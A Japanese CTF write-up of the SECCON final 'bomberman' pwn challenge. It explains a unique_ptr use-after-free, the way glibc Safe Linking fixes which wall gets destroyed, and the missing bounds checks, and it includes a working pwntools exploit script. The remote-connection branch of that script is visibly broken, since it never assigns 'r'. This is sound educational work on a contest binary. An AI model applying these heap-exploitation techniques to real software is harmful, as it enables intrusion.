こんにちはImperiです
先週開催されたSECCON CTF final の国内決勝にチームtraPとして参加してきました。結果は 6th / 12 team でした
bomberman 問題概要
ざっくりと。作問者のptr-yudaiさんが問題ファイルを公開しているので、詳しい部分はそちらを見てください。
ncursesを利用したターミナル上で遊べるボンバーマンになってます
コード上の特徴としては、爆弾の管理にstd::unique_ptr
を使っていて
プレイヤー&盤面上に一つだけ爆弾が存在する状況を実装しています。
盤面右下にFlagのマスがありますが周囲が壁で囲まれているので通常は到達できません。
脆弱性
unique_ptr
まず全体的にunique_ptr::get()
というunique_ptrが管理するリソースへのポインタを返す関数を使いまくっているのでめちゃくちゃ怪しいです。案の定
/* Remove bomb instance and create fire */
if (has_bomb() && _bomb.get()->timer()++ == 2 SEC) {
_fire = new Fire(_bomb.get()->x(), _bomb.get()->y());
delete _bomb.get();
}
getしたポインタに対してdeleteしています。これをすると、unique_ptrとしてはリソース確保中なのにメモリ管理としてはfree済みになるのでuse-after-freeに繋がります。
一応 -fsanitize=address
をつけてコンパイルして遊んでみると
爆弾が爆発するだけでsanitizerにuse-after-freeだろ!と怒られます
use-after-freeは結構すぐに見つかりましたが意外とこれを使えるルートが見つかりません
burn
このコード内では爆炎の描画と爆炎によるダメージ処理(burn)が別になっています
遊んでいるときは時間差で十字形に爆炎がひろがるように見えますが
/* Draw stage */
for (i16 y = 0; y < _height; y++) {
for (i16 x = 0; x < _width; x++) {
switch (at(x, y)) {
case OBJECT_WALL : mvaddch(y, x, '#'); break;
case OBJECT_BLOCK: mvaddch(y, x, '@'); break;
case OBJECT_BOMB : mvaddch(y, x, is_exploding() ? '*' : 'B'); break;
case OBJECT_FLAG : mvaddch(y, x, 'F'); break;
default : mvaddch(y, x, ' ');
}
}
}
/* Draw player */
mvaddch(_player->y(), _player->x(), 'P');
/* Draw fire */
if (_fire) {
i16 x = _fire->x(), y = _fire->y();
if (_fire->timer() < 0.5 SEC) {
if (burn(x, y)) mvaddch(y, x, '*');
} else if (_fire->timer() < 1 SEC) {
if (burn(x, y-1)) mvaddch(y-1, x, '*');
if (burn(x, y+1)) mvaddch(y+1, x, '*');
if (burn(x-1, y)) mvaddch(y, x-1, '*');
if (burn(x+1, y)) mvaddch(y, x+1, '*');
}
}
実際には十字形に爆炎が広がったとき中心にはダメージ処理が発生しません。
爆発中でも爆弾は拾うことが出来るっぽいので最初のuse-after-freeと合わせるとあれこれ出来そうです。
exploit
爆発が終わると盤面上のbombについてはunique_ptr::release()
が呼ばれ、プレイヤー側には新しく確保したbombが渡されるので、内部free済みのunique_ptrを活かすためには
- 爆弾を爆発させる
- 爆風の拡散に合わせて中心に移動
- 最初の爆発が終わる前に爆弾を拾う&再設置
という過程が必要そうです。
実際にこの通り動かすとなぜか盤面の外枠の一マス(5,0)が爆発してなくなります。
外枠爆発
壁を一つ消せたので、他の壁を壊せないかいろいろ実験してみますが
どの位置から上記の流れを行っても壊れる壁は(5,0)だけです。
デバッグしてみると glibc 2.32からtcacheのリンクに導入されたSafe Linkingが綺麗に作用していました。
Safe Linkingとは雑にまとめるとリンクする2つのアドレスを3byteずらしてxorをとりchunkに持たせるというmitigationです。
Safe Linkingによって
chunk->next = (NULL) xor (0x0000_55**_****_**** >> 12)
= 0x0000_0005_****_****
先頭4byteが0x00000005で固定になりました。これはBomb構造体でいうと座標(y,x)なので
どの状況でも(5,0)に爆弾が設置されることになります。
flag
上記の流れだとflagを囲う壁が壊せないと分かり残念な気持ちになりましたが、移動や盤面のオブジェクトの参照に対して範囲チェックが行われていないので壊れた壁から外に出て自由に移動できます。
最終的な自分のexploitでは外に出てランダムウォークをしてOBJECT_FLAG、すなわち0x03を踏みに行きます。爆弾を設置しない限りゲームオーバーになることもないのでランダムウォークで十分高速にOBJECT_FLAGを踏んでクリアできます。
#!/usr/bin/env python3
from pwn import *
import time
import random
exe = ELF("./game")
context.binary = exe
context.terminal = ['/usr/local/bin/run_urxvt','-e']
def conn():
if args.LOCAL:
r = process([exe.path])
gdb.attach(r,'''
b *main+306
c
''')
# To wait for gdb.attach, wait 2 seconds
time.sleep(2)
else:
server = ssh(user='ctf',host='bomberman.dom.seccon.games',port=22022,password='password',raw=True)
return r
def draw_board(io):
check = io.recv(1)
if check == b'.':
io.send(b'\n')
print(io.recvall())
exit(0)
print(' -------------------------- ')
buf = io.recvuntil(b'\x1b[2J')[:-13]
print(re.sub(b'\x0d\x1b\[\d+d',b'\n',b'#'+buf).decode())
move_up = b'\x1b[A'
move_down = b'\x1b[B'
move_right = b'\x1b[C'
move_left = b'\x1b[D'
put_bomb = b' '
move_key = [move_up,move_down,move_right,move_left]
def main():
r = conn()
# start init screen buf
r.recvuntil(b'\x1b[2J')
r.recvuntil(b'\x1b[2J')
#end init screen buf
for i in range(10):
r.send(move_left)
draw_board(r)
PICKUP_WAIT_TURN = 24
free_pickup_payload = put_bomb +move_right + move_up*PICKUP_WAIT_TURN + move_left+put_bomb
REUSE_WAIT_TURN = 5
reuse_payload = put_bomb +move_up*REUSE_WAIT_TURN+ move_right*2
log.info("put bomb")
r.send(free_pickup_payload + reuse_payload)
for i in range(10):
r.send(move_up)
draw_board(r)
move_outside_payload = move_right*2 + move_up*2
r.send(move_outside_payload)
for i in range(20):
draw_board(r)
log.info("start inf move")
while True:
choice = random.randint(0,3)
r.send(move_key[choice])
draw_board(r)
#r.interactive()
if __name__ == "__main__":
main()
ゲームクリア画面をうまく表示してないので見づらいですが よく見ると"CONGRATZ!"と表示されています。
おわりに
Safe Linkingで常に(5,0)の壁が壊れるのが綺麗で、これに気づいたとき泊まってたホテルで大笑いしちゃいました。今回のSECCON finalではこの問題くらいしか解けてないのでpwn力上げたいですね...というかpwnサボりすぎているのでもうちょっと頑張ります。